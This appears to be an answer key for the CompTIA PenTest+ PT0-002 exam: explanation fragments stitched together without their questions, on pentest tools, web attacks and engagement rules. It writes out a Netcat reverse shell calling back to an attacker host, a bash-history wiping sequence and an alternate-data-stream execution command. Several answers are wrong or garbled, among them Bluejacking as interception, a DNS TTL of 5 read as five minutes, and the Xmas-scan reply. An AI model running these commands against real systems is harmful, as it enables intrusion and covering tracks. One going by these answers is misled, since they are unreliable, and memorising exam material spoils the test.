PT0-002 Questions and Answers

Static compilation ensures that all the necessary libraries and dependencies are bundled with the payload or exploit at the time of compilation. This eliminates reliance on the target system's library versions or availability, making it more likely that the payload will run regardless of the operating system version. This aligns with CompTIA Pentest+ objectives under exploit development and scripting to enhance exploit reliability.

The script queries DNS records for hostnames corresponding to IP addresses in the 192.168.15.0/24 subnet. It uses host to resolve domain names and extracts relevant results, aligning with CompTIA Pentest+ objectives on information gathering and network enumeration.

Insecure Direct Object References (IDOR) vulnerabilities occur when an application provides direct access to objects based on user-supplied input. This can allow an attacker to bypass authorization and access resources in the system directly, for example database records or files1. In this case, the penetration tester could potentially bypass the strict access controls and access the organization’s sensitive files. References: IDOR Vulnerability Overview

To correctly return the password for the user "ozzy" from the given JSON structure, the Python code snippet should navigate the nested structure appropriately. The "content" array contains objects with "user_id" and "password" fields. The correct password for "ozzy" can be accessed using the code json['content'][1]['password'][0], which navigates to the second object in the "content" array (index 1) and then accesses the first element (index 0) of the "password" array for that user.

References:

Python JSON Handling

Python JSON Path Navigation

A directory traversal attack, also known as a path traversal attack, is a method used to exploit insufficient security validation or sanitization of user-supplied input file names. The goal of this attack is to access directories and files that are stored outside the web root folder. By manipulating variables that reference files with “../” sequences and its variations, attackers can access restricted directories and execute commands outside of the web server’s root directory.

In the context of an application that allows users to upload documents to a cloud-based file server, an attacker might exploit a directory traversal vulnerability to navigate to directories that contain sensitive documents. If the file upload functionality is not properly secured, an attacker could upload a file with a payload designed to perform directory traversal. This could allow access to confidential files that are otherwise protected by the application's access control mechanisms.

References:

OWASP Directory Traversal Cheat Sheet: OWASP Directory Traversal

Practical example from HTB Writeups like Forge and Anubis which demonstrate similar enumeration techniques leading to sensitive file disclosures​​​​.

Communicating with the client point of contact during a penetration test, especially when a testing component crashes a system or service, is crucial for remediation. Remediation involves the process of correcting or mitigating vulnerabilities that have been identified during the test. In the context of a system or service becoming unavailable, it's essential to promptly address and resolve the issue to restore availability and ensure the continuity of legitimate business operations. This communication ensures that the client is aware of the incident and can work together with the penetration tester to implement corrective actions, thereby minimizing the impact on the business and further testing activities.

Scout Suite is an open-source multi-cloud security-auditing tool that enables security posture assessment of cloud environments. It is designed to provide a comprehensive and accurate analysis of cloud assets by using the APIs of cloud service providers. Scout Suite supports major cloud platforms, including AWS, Azure, and GCP, making it suitable for performing cloud asset discovery.

Other tools listed, such as Pacu, Shodan, and TruffleHog, serve different purposes. Pacu is a cloud exploitation framework for AWS, Shodan is a search engine for internet-connected devices, and TruffleHog is a tool for searching for secrets in files. While they are valuable tools, Scout Suite is specifically tailored for comprehensive cloud asset discovery.

References:

Scout Suite GitHub page: Scout Suite

Cloud security auditing examples from penetration testing reports and best practices​​​​.

WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection34. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data1.

Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

Scoping defines the penetration test's boundaries and objectives, ensuring alignment with the client’s needs and expectations. This is a key step in pre-engagement activities, as outlined in the CompTIA Pentest+ objectives.

The output of the Nmap command shows that the remote host supports RC4 ciphers, which are considered weak and vulnerable to several attacks, such as the BEAST and the RC4 NOMORE attacks. RC4 ciphers should not be used in modern TLS implementations, and they are not supported by TLS 1.3. Therefore, the penetration tester should include this finding in the report and recommend disabling RC4 ciphers on the server. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, page 259.

•Nmap ssl-enum-ciphers NSE Script - InfosecMatter1

•How do I list the SSL/TLS cipher suites a particular website offers?

Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.

The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.

Two best remediation options:

Restrict direct communications to App01.example.com to only approved components.

Require an additional authentication header value between CDN.example.com and App01.example.com.

Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.

Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.

Nmap Scan Observations:

CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.

App Server has open ports for HTTP, HTTPS, and filtered for MySQL.

DB Server has all ports filtered, typical for a database server that should not be directly accessible.

These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.

The Nmap command uses the Xmas scan technique, which sends packets with the FIN, PSH, and URG flags set. This is an attempt to bypass firewall rules and elicit a response from open ports. However, if the target responds with an RST packet, it means that the port is closed. Open ports will either ignore the Xmas scan packets or send back an ACK packet. Therefore, the information most likely indicates that all of the ports in the target range are closed. References: [Nmap Scan Types], [Nmap Port Scanning Techniques], [CompTIA PenTest+ Study Guide: Exam PT0-002, Chapter 4: Conducting Passive Reconnaissance, page 127]

The presence of plaintext strings that can be used to move laterally across the network suggests that passwords or sensitive tokens are stored insecurely. Implementing a password management solution would help mitigate this issue by ensuring that passwords are stored securely and are not exposed in plaintext. Password managers typically use strong encryption to protect stored credentials and provide secure access to them.

Sanitizing user input, rotating keys, and utilizing certificate management address different aspects of security but do not directly resolve the issue of insecure password storage.

References:

Importance of password management: NIST Password Guidelines

Examples of security breaches due to poor password management practices: Forge​​.

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client’s systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

The cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt command is used to perform SMB enumeration on the 192.168.0.0/24 subnet using a list of usernames and passwords. The -u option specifies the file containing the usernames, and the -p option specifies the file containing the passwords1. This command allows the tester to attempt to authenticate with multiple accounts without locking any of them out. References: SMB Command

A watering hole attack involves compromising a website that is frequently visited by the target organization or group. By gaining control of the internal web server hosting the IT knowledge base, a penetration tester could modify the content or introduce malicious code that would be downloaded or executed by employees who visit the site. This type of attack is effective because it leverages a trusted resource within the organization to spread malware or capture sensitive information.

Other options like vishing, whaling, and spear phishing involve direct social engineering attacks targeting individuals, whereas a watering hole attack leverages a compromised website to target multiple users within the organization.

References:

Explanation of watering hole attacks: OWASP Watering Hole

Examples from penetration testing engagements where web server compromises were used to conduct watering hole attacks​​​​.

The -T2 flag in Nmap sets the timing template to “polite”, which means that Nmap will limit the number of parallel probes to 10 and the scan delay to 0.4 seconds. This will reduce the number of connections per minute and avoid triggering the active response tool. The -Pn flag tells Nmap to skip the host discovery phase and scan the target regardless of its ping response. The other options are not suitable for bypassing the active response tool, as they either scan too many ports (-sU, -T5, -F) or use a faster timing template (-T5, -T3) that will generate more connections per minute. References:

•Nmap Cheat Sheet 2024: All the Commands & Flags - StationX

•Nmap Commands - 17 Basic Commands for Linux Network - phoenixNAP

•NMAP Flag Guide: What They Are, When to Use Them - CBT Nuggets

Output encoding is a technique that prevents cross-site scripting (XSS) attacks by encoding the user input before displaying it on the web page. This way, any malicious scripts or HTML tags are rendered harmless and cannot execute on the browser. Output encoding is recommended by the OWASP Top 10 as a defense against XSS1. In this case, the vulnerable code is using a scriptlet to display the employee ID without any validation or encoding, which could allow an attacker to inject malicious code through the id parameter. Output encoding would prevent this by escaping any special characters in the id parameter. References: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 4, Section 4.2.1: Cross-site Scripting; Best PenTest+ certification study resources and training materials, Section 1: Cross-site Scripting (XSS) Attack; OWASP Top 10 2021, A7: Cross-site Scripting (XSS).

The output of the DNS query shows the TTL (Time to Live) value for the company.com record as 5. This means that the DNS record can be cached for five minutes before it needs to be refreshed from the authoritative DNS server. The TTL value indicates how long a DNS resolver is allowed to cache the query before it must query the authoritative server again.

References:

Understanding DNS TTL values: DNS TTL

Interpretation of DNS dig output from various penetration testing engagements: Horizontall​​.

The attacker creates an access point with the same name and network settings as a legitimate access point, but with a stronger signal to attract users. Once a victim connects to the rogue access point, the attacker can intercept and steal any data transmitted over the connection, including login credentials, credit card information, and other sensitive data.

 Deauthentication attacks can force legitimate users to disconnect from a wireless network, prompting them to reconnect and, in the process, capture valid user credentials using a rogue access point or network monitoring tools.

 Details:

A. Wardriving: Involves driving around to discover wireless networks; it does not directly gather user credentials.

B. Captive portal: Requires users to log in but is not an attack method; it is a legitimate method to control network access.

C. Deauthentication: Forces users to reauthenticate, allowing an attacker to capture credentials during the reconnection process.

D. Impersonation: Involves pretending to be someone else to gain access but is less effective for directly capturing user credentials compared to deauthentication.

 References: Deauthentication attacks are well-documented in wireless security assessments and penetration testing guides.

Nessus is a comprehensive vulnerability assessment tool that is widely used for conducting vulnerability assessments. It is known for its ability to generate detailed and easy-to-read reports, which makes it a preferred choice for security consultants who need to document their findings clearly.

Nessus scans for a wide range of vulnerabilities across different systems and applications. It provides a detailed report that includes the vulnerabilities found, their severity levels, and recommendations for remediation. This feature makes it ideal for security consultants who need to perform vulnerability assessments and present their findings to stakeholders in an understandable format.

References:

Nessus product page: Tenable Nessus

Use of Nessus in penetration testing reports: The reports generated by Nessus have been referenced in various HTB writeups such as those for Luke and Horizontall​​​​.

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

References:

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall​​.

The error message "Unclosed quotation mark after the character string Incorrect syntax near '." suggests that the application is vulnerable to SQL Injection (A). This type of vulnerability occurs when an attacker is able to inject malicious SQL queries into an application's database query. The error message indicates that the application's input handling allows for the manipulation of the underlying SQL queries, which can lead to unauthorized data access, data modification, and other database-related attacks.

 The provided output reveals a common vulnerability in Windows services known as an unquoted service path. When the service executable path is not enclosed in quotes and contains spaces, Windows may incorrectly interpret the spaces, potentially leading to the execution of unintended programs.

 Details:

Command Explanation: The command vmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\\Windows\\" | findstr /i /v "" filters services that are set to start automatically and are not located in the Windows directory.

Output Interpretation: The output shows a service with a path C:\Program Files\A Subfolder\B Subfolder\SomeExecutable.exe which is not quoted. If a malicious user places an executable in C:\Program.exe, C:\Program Files\A.exe, or similar, it might get executed instead.

 References: Common Windows privilege escalation vulnerabilities include unquoted service paths. This vulnerability is well-documented in security resources and penetration testing guides.

Crawling URIs using an interception proxy is the best active reconnaissance technique for gathering additional information about a web application. An interception proxy, such as Burp Suite or OWASP ZAP, allows the penetration tester to see and manipulate the requests and responses between the client and the server, providing detailed insights into the application's behavior, structure, and vulnerabilities. This technique is more comprehensive and controlled compared to using cURL or a web browser.

References:

OWASP Testing Guide: Web Application Security Testing

Burp Suite Documentation

OWASP ZAP User Guide

 System hardening involves securing a system by reducing its surface of vulnerability, which includes changing default credentials, disabling unnecessary services, and applying security patches.

 Details:

A. Password encryption: Secures passwords but does not address the issue of default credentials.

B. System hardening: Comprehensive approach to securing the system, including changing default credentials.

C. Multifactor authentication: Adds an additional layer of security but does not solve the problem of default credentials being enabled.

D. Patch management: Ensures software is up-to-date but does not directly address default credentials.

 References: System hardening is a fundamental practice in securing systems and preventing unauthorized access, as detailed in security best practices and guidelines.

To intercept the communications between an employee's wireless headset and smartphone, the penetration tester would likely use "Bluejacking" (B). Bluejacking involves sending unsolicited messages to Bluetooth-enabled devices, but in the context of penetration testing and security, it can also encompass techniques for intercepting or hijacking Bluetooth connections. This could allow the tester to eavesdrop on communications or even take control of the headset.

The risk present in an organization using Android mobile devices without Mobile Device Management (MDM) services is that unsigned applications can be installed. Without MDM, there are fewer controls over the installation of applications, which increases the risk of installing malicious or unauthorized applications. MDM services typically provide a way to enforce application signing policies, preventing the installation of unsigned apps.

References:

OWASP Mobile Security Project

NIST Mobile Device Management Guide

A single quote (') is a common character used to test for SQL injection vulnerabilities, which occur when user input is directly passed to a database query. A single quote can terminate a string literal and allow an attacker to inject malicious SQL commands. For example, if the search form uses the query SELECT * FROM products WHERE name LIKE ‘%user_input%’, then entering a single quote as user input would result in an error or unexpected behavior

JSON (JavaScript Object Notation) is the best format for a penetration tester to use when they need the output of a reconnaissance script in a standardized machine-readable format to pass data to another application. JSON is widely supported across different programming languages and platforms, making it an ideal choice for data interchange. It allows for the hierarchical organization of data, is easy to read and write, and can be parsed and generated by numerous tools and libraries. This makes JSON a versatile and practical choice for a variety of applications in penetration testing and beyond.

References:

RFC 8259 - The JavaScript Object Notation (JSON) Data Interchange Format

OWASP - JSON Security

OpenVAS is a full-featured vulnerability scanner.

OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

Netcat and cURL are tools that will help the tester prepare an attack for this scenario, as they can be used to establish a TCP connection, send payloads, and receive responses from the target web server. Netcat is a versatile tool that can create TCP or UDP connections and transfer data between hosts. cURL is a tool that can transfer data using various protocols, such as HTTP, FTP, SMTP, etc. The tester can use these tools to exploit the PHP script that executes shell commands with the value of the “item” variable.

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

Nmap is widely used for network scanning and enumeration. It identifies open ports, services, and vulnerabilities on a network. This directly relates to CompTIA Pentest+ objectives on scanning and enumeration methodologies.

The output displayed is typical of what one might see when using a tool like smbclient or enum4linux to list shared directories on a system that uses the SMB (Server Message Block) protocol. Here’s a brief overview of the shared resources that have been found:

1.print$ - This share is generally used for printer drivers.

2.home - Could be a user's home directory, usually requires authentication.

3.dev - Suggests a development environment, possibly containing code, scripts, or tools that could be useful for further penetration.

4.notes - This has read and write permissions and could contain information such as user notes or documentation.

While all these shares could potentially provide valuable information, the dev share stands out for several reasons:

•Development Environment: As it seems to be a development share, it may contain scripts, tools, or code repositories which could be less secure than production environments and possibly contain sensitive information such as hardcoded credentials, configuration files, or backup files.

•Standard Names: Shares like print$ and home are common and are likely to be properly secured or to contain less sensitive information.

•Writable Share: The notes share is also interesting because it has read and write permissions, which could be exploited to upload malicious files or modify existing ones. However, the potential for finding exploitable material or sensitive information might be higher with the dev share.

In penetration testing, the goal is to find the path of least resistance that provides the highest potential for deeper access or sensitive information discovery. The dev share represents a target that could yield such information or further avenues for exploitation, making it the next logical step for enumeration.

Halting the assessment and following the reporting procedures as outlined in the contract is the best action to take after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The reporting procedures are part of the contract that specifies how to handle any critical issues or incidents during the penetration testing engagement. They should include details such as who to contact, what information to provide, and what steps to follow.

After completing an assessment and providing the report and evidence to the client, it is important to follow the established data retention and destruction process to ensure the confidentiality of the client's information. This process typically involves securely deleting or destroying any data collected during the assessment that is no longer needed, and securely storing any data that needs to be retained. This helps to prevent unauthorized access to the client's information and protects the client's confidentiality.

Reporting any findings to regulatory oversight groups may be necessary in some cases, but it should be done only with the client's permission and in accordance with any relevant legal requirements. Publishing the findings before the client has reviewed the report is also not recommended, as it may breach the client's confidentiality and damage their reputation. Encrypting and storing client information for future analysis is also not recommended unless it is necessary and in compliance with any legal or ethical requirements.

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider’s metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

All other answers are a form of encryption or randomizing the data.

S/MIME stands for Secure/Multipurpose Internet Mail Extensions and is a standard for encrypting and signing email messages. It uses public key cryptography to ensure the confidentiality, integrity, and authenticity of email communications. FTPS is a protocol for transferring files securely over SSL/TLS, but it is not used for emailing. DNSSEC is a protocol for securing DNS records, but it does not protect email content. AS2 is a protocol for exchanging business documents over HTTP/S, but it is not used for emailing.

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns

Part 2 - Weak SMB file permissions

https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/f ingerprinting-os-and-services-running-on-a-target-host

The ping –A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

According to the Official CompTIA PenTest+ Self-Paced Study Guide1, the correct answer is A. nmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine’s IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-oA).

Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.

Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link. https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation

Tag nesting is a technique that involves inserting two VLAN tags into an Ethernet frame to bypass VLAN hopping prevention mechanisms. The first tag is stripped by the first switch, and the second tag is processed by the second switch, allowing the frame to reach a different VLAN than intended. RFID cloning is a technique that involves copying the data from an RFID tag to another tag or device. RFID tagging is a technique that involves attaching an RFID tag to an object or person for identification or tracking purposes. Meta tagging is a technique that involves adding metadata to web pages or files for search engine optimization or classification purposes.

PLCs are programmable logic controllers that execute logic operations on input signals from sensors and output signals to actuators. They are often connected to supervisory systems that provide human-machine interfaces and data acquisition functions. If both systems are connected to the company intranet, they are exposed to potential attacks from internal or external adversaries. A valid assumption is that controllers will not validate the origin of commands, meaning that an attacker can send malicious commands to manipulate or sabotage the industrial process. The other assumptions are not valid because they contradict the facts or common practices.

Quarterly is the minimum frequency to complete the scan of the system that is PCI DSS v3.2.1 compliant, according to Requirement 11.2.2 of the standard1. PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards that applies to any organization that processes, stores, or transmits credit card information. Requirement 11.2.2 states that organizations must perform internal vulnerability scans at least quarterly and after any significant change in the network.

https://www.pcicomplianceguide.o rg/faq/#25

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

Clarifying the statement of work is one of the most important items to develop fully prior to beginning the penetration testing activities, as it defines the scope, objectives, deliverables, and expectations of the engagement. The statement of work is a formal document that outlines the agreement between the penetration tester and the client and serves as a reference for both parties throughout the engagement. It should include details such as the type, duration, and frequency of testing, the target systems and networks, the authorized methods and tools, the reporting format and schedule, and any legal or ethical considerations.

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

A01-Injection

A02-Broken Authentication

A03-Sensitive Data Exposure

A04-XXE

A05-Broken Access Control

A06-Security Misconfiguration

A07-XSS

A08-Insecure Deserialization

A09-Using Components with Known Vulnerabilities

A10-Insufficient Logging & Monitoring

As mentioned in question 1, the SOW describes the specific activities, deliverables, and schedules for a penetration tester. The other documents are not relevant for this purpose. An NDA is a non-disclosure agreement that protects the confidentiality of the client’s information. An MSA is a master service agreement that defines the general terms and conditions of a business relationship. An MOU is a memorandum of understanding that expresses a common intention or agreement between parties.

WPScan is a tool that can be used to scan WordPress sites for vulnerabilities, such as outdated plugins, themes, or core files, misconfigured settings, weak passwords, or user enumeration. The curl command reveals that the site is running WordPress and has a readme.html file that may disclose the version number. Therefore, WPScan would be the best tool to use to explore this site further. Burp Suite is a tool that can be used to intercept and modify web requests and responses, but it does not specialize in WordPress scanning. DirBuster is a tool that can be used to brute-force directories and files on web servers, but it does not exploit WordPress vulnerabilities. OWASP ZAP is a tool that can be used to perform web application security testing, but it does not focus on WordPress scanning.

The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating users about phishing prevention techniques.

Malware injection is the most likely cloud attack that the penetration tester implemented, as it involves adding a fake VM instance to the IaaS component of the client’s VM. Malware injection is a type of attack that exploits vulnerabilities in cloud services or applications to inject malicious code or data into them. The injected malware can then compromise or control the cloud resources or data.

Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach. This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures. Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible, while doing nothing (option B) neglects the tester's duty to inform the client of potential threats. Using the passwords in a credential stuffing attack (option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.

The systems administrator and the technical stuff would be more interested in the technical aspect of the findings

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.

Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote

authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

 The commands are used to clear the Bash history file of the current user, which records the commands entered in the terminal. The first command redirects /dev/null (a special file that discards any data written to it) to temp, which creates an empty file named temp. The second command changes the timestamp of temp to match that of .bash_history (the hidden file that stores the Bash history). The third command renames temp to .bash_history, which overwrites the original file with an empty one. This effectively erases any trace of the commands executed by the user.

Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one’s identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.

Alternate data streams (ADS) are a feature of the NTFS file system that allows storing additional data in a file without affecting its size, name, or functionality. ADS can be used to hide or embed data or executable code in a file, such as a specially crafted binary for later execution. ADS can be created or accessed using various tools or commands, such as the command prompt, PowerShell, or Sysinternals12. For example, the following command can create an ADS named secret.exe in a file named test.txt and run it using wmic.exe process call create function: type secret.exe > test.txt:secret.exe & wmic process call create "cmd.exe /c test.txt:secret.exe"

Given the Nmap scan results showing an open HTTP service on port 8080 running Microsoft IIS 9.0, the next logical step for the penetration tester would be to further explore the web server. Nikto is a web server scanner that can identify known vulnerabilities, configuration issues, and other security problems.

Using the command nikto -host http://10.22.2.2 will initiate a scan against the HTTP service on the target server, helping the tester to identify potential weaknesses that could be exploited.

References:

Nikto official documentation: Nikto Documentation

Examples of web server vulnerability scanning in penetration testing: Writeup​​.

Directional antennas can limit the signal range to reduce unauthorized access from outside the building. Other options, such as WEP, are outdated and insecure, and stopping SSID broadcast does not prevent network access. This aligns with CompTIA Pentest+ objectives under wireless security and hardening techniques.

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

The dig command is a tool that can be used to query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records. The MX option specifies that the query is for mail exchange records, which are records that indicate the mail servers responsible for accepting email messages for a domain. Therefore, the command dig company.com MX would best help the tester determine which cloud email provider the log-in page needs to mimic by showing the mail servers for company.com. For example, if the output shows something like company-com.mail.protection.outlook.com, then it means that company.com uses Microsoft Outlook as its cloud email provider. The other commands are not as useful for determining the cloud email provider. The whois command is a tool that can be used to query domain name registration information, such as the owner, registrar, or expiration date of a domain. The curl command is a tool that can be used to transfer data from or to a server using various protocols, such as HTTP, FTP, or SMTP. The dig command with the A option specifies that the query is for address records, which are records that map domain names to IP addresses.

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

 GDB is a debugging tool that can be used to analyze and manipulate the memory of a running process, which is useful for finding and exploiting buffer overflow vulnerabilities. Burp Suite is a web application testing tool that does not directly test for buffer overflows. SearchSpliot is a database of known exploits that does not test for new vulnerabilities. Netcat is a network utility that can be used to send and receive data, but not to test for buffer overflows.

https://hackertarget.com/nikto-website-scanner/

The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

The most important information to have on a penetration testing report that is written for the developers is remediation. Remediation is the process of fixing or mitigating the vulnerabilities or issues that were discovered during the penetration testing. Remediation should include specific recommendations, best practices, and resources to help the developers improve the security of their applications4.

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

Using credentials during a vulnerability scan allows the scanner to gather more detailed information about the target system, including installed software, patch levels, and configuration settings. This helps to reduce the likelihood of false positives and increase the true positives of the results. Nessus is a popular vulnerability scanner that supports credential-based scanning and can be used to accomplish this goal. OpenVAS and Nmap are also popular scanning tools, but using default mode or running as the root user alone may not provide the necessary level of detail for accurate vulnerability identification. OWASP ZAP is a web application scanner and may not be applicable for non-web-based targets.

The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.

The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester’s IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

